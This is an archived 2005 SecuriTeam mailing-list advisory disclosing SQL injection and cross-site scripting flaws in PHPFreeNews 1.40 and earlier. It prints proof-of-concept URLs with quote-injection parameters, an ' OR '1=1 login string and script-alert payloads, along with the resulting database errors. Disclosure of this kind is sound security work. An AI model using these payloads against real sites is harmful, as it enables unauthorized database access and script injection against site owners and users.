

# [UNIX] PHPFreeNews SQL Injection and XSS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0077.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 08/18/05

To: list@securiteam.com

Date: 18 Aug 2005 14:58:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

PHPFreeNews SQL Injection and XSS

---

## SUMMARY

<<http://www.phpfreenews.co.uk/>> PHPFreeNews is "a free PHP Script that allows you to display news headlines and articles on your website".

PHPFreeNews has been found to be vulnerable to numerous SQL Injection and Cross Site Scripting vulnerabilities.

## DETAILS

Vulnerable Systems:

\* PHPFreeNews version 1.40 and prior

SQL Injection:

Accessing any of the following URLs:

<http://vulnerable/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0>

<http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='>

<http://vulnerable/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0>

Securiteam: [UNIX] PHPFreeNews SQL Injection and XSS

<http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27>

Will cause the server to return the following:

Warning: mysql\_num\_rows(): supplied argument is not a valid MySQL result resource in \somepath\www\phpfn\Inc\ListingFunctions.php on line 92  
Query failed : You have an error in your SQL syntax.  
Check the manual that corresponds to your MySQL server version for the right syntax to use near  
"" IN BOOLEAN MODE) ORDER BY Sticky DESC, Priority, PostDate

In addition, accessing the following URL:

<http://vulnerable/phpfn/Inc/AccessControl.php> and typing as the username and password some SQL injection string like " OR " 1=1 will cause the server to return an error.

Cross Site Scripting:

Accessing any of the following URLs, will trigger a cross site scripting vulnerability in the page being accessed:

[<script>alert\('Found By Matrix\\_Killer'\);</script>&CatID=0](http://vulnerable/phpfn/NewsCategoryForm.php?NewsMode=)

[<script>alert\('Matrix\\_Killer OwnZ The World :'\);</script>& NewsMode=1&SearchNews=Search&CatID=0](http://vulnerable/phpfn/SearchResults.php?Match=)

[<script>alert\('Hell Year'\);</script>](http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=)

[<script>alert\('0\\_o Please StoP !'\);</script>&SearchNews=Search&CatID=0](http://vulnerable/phpfn/SearchResults.php?Match=1&NewsMode=)

[<script>alert\('Matrix\\_Killer -> The bug Hunter <-'\);</script>& NewsMode=1&SearchNews=Search&CatID=0](http://vulnerable/phpfn/SearchResults.php?Match=)

ADDITIONAL INFORMATION

The information has been provided by <mailto:matrix\_k@abv.bg> matrix\_killer.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

## Securiteam: [UNIX] PHPFreeNews SQL Injection and XSS

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.